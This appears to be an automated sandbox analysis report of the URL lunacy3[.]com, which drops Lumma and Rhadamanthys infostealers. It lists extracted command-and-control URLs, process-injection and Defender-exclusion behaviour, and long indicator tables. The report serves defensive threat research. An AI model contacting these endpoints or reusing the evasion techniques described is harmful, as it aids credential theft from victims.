lumma | hxxps://lunacy3[.]com/

Analysis

max time kernel
1104s
max time network
1105s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
08-08-2024 21:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://lunacy3.com/

Score

10^/10

lumma rhadamanthys defense_evasion discovery execution stealer

Malware Config

Extracted

Family

lumma

https://bannertastylbaoeow.xyz/api

https://horizonvxjis.shop/api

https://effectivedoxzj.shop/api

https://parntorpkxzlp.shop/api

https://stimultaionsppzv.shop/api

https://grassytaisol.shop/api

https://broccoltisop.shop/api

https://shellfyyousdjz.shop/api

https://bravedreacisopm.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

BitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exe

description	pid	Process	procid_target
PID 3160 created 2992	3160	BitLockerToGo.exe	49
PID 1652 created 2992	1652	BitLockerToGo.exe	49
PID 2692 created 2992	2692	BitLockerToGo.exe	49
PID 236 created 2992	236	BitLockerToGo.exe	49
PID 1692 created 2992	1692	BitLockerToGo.exe	49
PID 2400 created 2992	2400	BitLockerToGo.exe	49
PID 3796 created 2992	3796	BitLockerToGo.exe	49
PID 5324 created 2992	5324	BitLockerToGo.exe	49
PID 5668 created 2992	5668	BitLockerToGo.exe	49
PID 5704 created 2992	5704	BitLockerToGo.exe	49

Blocklisted process makes network request 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

flow	pid	Process
42	3444	powershell.exe
43	3444	powershell.exe
44	3444	powershell.exe
59	4568	powershell.exe
60	2740	powershell.exe
61	1912	powershell.exe
62	408	powershell.exe
64	2428	powershell.exe
65	4212	powershell.exe
101	5804	powershell.exe
139	4964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2816	powershell.exe
1100	powershell.exe
4568	powershell.exe
2428	powershell.exe
4964	powershell.exe
3444	powershell.exe
2740	powershell.exe
1912	powershell.exe
408	powershell.exe
4212	powershell.exe
5804	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 23 IoCs

Processes:

Install_x64.exe1.exe3.exeInstall_x64.exe1.exe2.exe3.exe1.exe3.exe1.exe1.exe3.exe3.exe1.exe1.exe3.exe1.exe3.exe1.exe3.exe1.exe1.exe3.exe

pid	Process
5072	Install_x64.exe
4916	1.exe
4812	3.exe
3816	Install_x64.exe
1648	1.exe
4360	2.exe
952	3.exe
5052	1.exe
3996	3.exe
2396	1.exe
3372	1.exe
5108	3.exe
1468	3.exe
4300	1.exe
3224	1.exe
4756	3.exe
1700	1.exe
400	3.exe
4300	1.exe
5972	3.exe
4588	1.exe
4056	1.exe
2476	3.exe

Loads dropped DLL 64 IoCs

Processes:

Install_x64.exeInstall_x64.exe

pid	Process
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
5072	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe
3816	Install_x64.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
1	ip-api.com

Suspicious use of SetThreadContext 21 IoCs

Processes:

1.exe3.exe1.exe2.exe3.exe1.exe1.exe3.exe1.exe3.exe1.exe3.exe1.exe3.exe3.exe1.exe1.exe3.exe1.exe1.exe3.exe

description	pid	Process	procid_target
PID 4916 set thread context of 3160	4916	1.exe	112
PID 4812 set thread context of 2508	4812	3.exe	120
PID 1648 set thread context of 1652	1648	1.exe	136
PID 4360 set thread context of 4536	4360	2.exe	137
PID 952 set thread context of 4880	952	3.exe	148
PID 5052 set thread context of 2692	5052	1.exe	157
PID 3372 set thread context of 2584	3372	1.exe	158
PID 3996 set thread context of 4820	3996	3.exe	168
PID 2396 set thread context of 236	2396	1.exe	171
PID 1468 set thread context of 5052	1468	3.exe	183
PID 4300 set thread context of 1692	4300	1.exe	188
PID 5108 set thread context of 1648	5108	3.exe	189
PID 3224 set thread context of 2400	3224	1.exe	199
PID 4756 set thread context of 4024	4756	3.exe	205
PID 400 set thread context of 420	400	3.exe	208
PID 1700 set thread context of 3796	1700	1.exe	211
PID 4300 set thread context of 5324	4300	1.exe	241
PID 5972 set thread context of 5820	5972	3.exe	252
PID 4588 set thread context of 5668	4588	1.exe	255
PID 4056 set thread context of 5704	4056	1.exe	267
PID 2476 set thread context of 1316	2476	3.exe	280

Drops file in Program Files directory 5 IoCs

Processes:

Install_x64.exeInstall_x64.exe

description	ioc	Process
File created	C:\Program Files\launcher289\2.exe	Install_x64.exe
File created	C:\Program Files\launcher289\1.exe	Install_x64.exe
File created	C:\Program Files\launcher289\3.exe	Install_x64.exe
File created	C:\Program Files\launcher289\2.exe	Install_x64.exe
File created	C:\Program Files\launcher289\3.exe	Install_x64.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

Processes:

msedge.exe

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Install_x64.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Program crash 22 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
2084	3160	WerFault.exe	112
2856	3160	WerFault.exe	112
4916	1652	WerFault.exe	136
2480	1652	WerFault.exe	136
4308	2692	WerFault.exe	157
2708	2584	WerFault.exe	158
2028	2692	WerFault.exe	157
4740	2584	WerFault.exe	158
3864	236	WerFault.exe	171
952	236	WerFault.exe	171
772	1692	WerFault.exe	188
3708	1692	WerFault.exe	188
4308	2400	WerFault.exe	199
2716	2400	WerFault.exe	199
2236	3796	WerFault.exe	211
4352	3796	WerFault.exe	211
5440	5324	WerFault.exe	241
5568	5324	WerFault.exe	241
5448	5668	WerFault.exe	255
5160	5668	WerFault.exe	255
6016	5704	WerFault.exe	267
5604	5704	WerFault.exe	267

System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

openwith.exeopenwith.execmd.exeBitLockerToGo.exeBitLockerToGo.exepowershell.exeopenwith.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.execmd.execmd.exeBitLockerToGo.execmd.exeBitLockerToGo.exeBitLockerToGo.exeopenwith.exepowershell.execmd.exeBitLockerToGo.exeBitLockerToGo.exeopenwith.execmd.exeBitLockerToGo.execmd.exepowershell.exeBitLockerToGo.exewhoami.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exepowershell.execmd.exeBitLockerToGo.exepowershell.exeBitLockerToGo.exeopenwith.exeopenwith.execmd.exeopenwith.exeBitLockerToGo.exeopenwith.exepowershell.exeopenwith.exepowershell.exepowershell.exeBitLockerToGo.exeBitLockerToGo.exeBitLockerToGo.exepowershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exefirefox.exefirefox.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 64 IoCs

Processes:

msedge.exemsedge.exemsedge.exemsedge.exeOpenWith.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "4"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\0\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 010000000200000000000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616257"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 010000000200000000000000ffffffff	msedge.exe
